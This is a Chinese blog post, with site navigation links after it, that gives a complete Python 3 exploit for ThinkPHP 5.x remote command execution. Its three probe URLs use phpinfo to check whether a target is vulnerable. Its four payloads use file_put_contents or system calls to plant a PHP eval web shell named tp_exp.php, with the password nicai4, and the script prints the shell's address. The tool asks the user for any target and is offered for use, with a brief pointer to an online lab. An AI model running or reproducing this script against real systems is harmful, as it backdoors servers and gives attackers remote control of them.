python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
详解Python中的__getitem__方法与slice对象的切片操作
Jun 27 Python
python计算日期之间的放假日期
Jun 05 Python
Python hashlib模块用法实例分析
Jun 12 Python
windows下 兼容Python2和Python3的解决方法
Dec 05 Python
Python去除字符串前后空格的几种方法
Mar 04 Python
python的set处理二维数组转一维数组的方法示例
May 31 Python
python常用函数与用法示例
Jul 02 Python
python代理工具mitmproxy使用指南
Jul 04 Python
在Python中预先初始化列表内容和长度的实现
Nov 28 Python
pytorch查看模型weight与grad方式
Jun 24 Python
Python Merge函数原理及用法解析
Sep 16 Python
PyQt5通过信号实现MVC的示例
Feb 06 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
在PHP中养成7个面向对象的好习惯
2010/07/17 PHP
比较discuz和ecshop的截取字符串函数php版
2012/09/03 PHP
浅析PHP安装扩展mcrypt以及相关依赖项(PHP安装PECL扩展的方法)
2013/07/05 PHP
memcache命令启动参数中文解释
2014/01/13 PHP
PHP二维数组排序简单实现方法
2016/02/14 PHP
PHP数组的定义、初始化和数组元素的显示实现代码
2016/11/05 PHP
Ecshop 后台添加新功能栏目及管理权限设置教程
2017/11/21 PHP
Javascript注入技巧
2007/06/22 Javascript
js 判断 enter 事件
2009/02/12 Javascript
深入理解JavaScript系列(19):求值策略(Evaluation strategy)详解
2015/03/05 Javascript
jQuery实现给页面换肤的方法
2015/05/30 Javascript
两款JS脚本判断手机浏览器类型跳转WAP手机网站
2015/10/16 Javascript
利用jQuery及AJAX技术定时更新GridView的某一列数据
2015/12/04 Javascript
jQuery简单实现title提示效果示例
2016/08/01 Javascript
jQuery中select与datalist制作下拉菜单时的区别浅析
2016/12/30 Javascript
详谈js的变量提升以及使用方法
2018/10/06 Javascript
微信小程序实现页面浮动导航
2019/01/28 Javascript
python实现监控windows服务并自动启动服务示例
2014/04/17 Python
Python全局变量操作详解
2015/04/14 Python
Python首次安装后运行报错(0xc000007b)的解决方法
2016/10/18 Python
利用python如何处理百万条数据(适用java新手)
2018/06/06 Python
python tornado修改log输出方式
2019/11/18 Python
python缩进长度是否统一
2020/08/02 Python
Lookfantastic法国官网:英国知名美妆购物网站
2017/10/28 全球购物
Nice Kicks网上商店:ShopNiceKicks.com
2018/12/25 全球购物
德国大型箱包和皮具商店:Koffer
2019/10/01 全球购物
Discard Protocol抛弃协议的作用是什么
2015/10/10 面试题
解释下列WebService名词:WSDL、SOAP、UDDI
2012/06/22 面试题
同学会主持词
2014/03/18 职场文书
2014年党务公开方案
2014/05/08 职场文书
乡镇计划生育工作汇报
2014/10/28 职场文书
消防安全月活动总结
2015/05/08 职场文书
追悼会家属答谢词
2015/09/29 职场文书
教师师德承诺书2016
2016/03/25 职场文书
Java用自带的Image IO给图片添加水印
2021/06/15 Java/Android
深入解析Apache Hudi内核文件标记机制
2022/03/31 Servers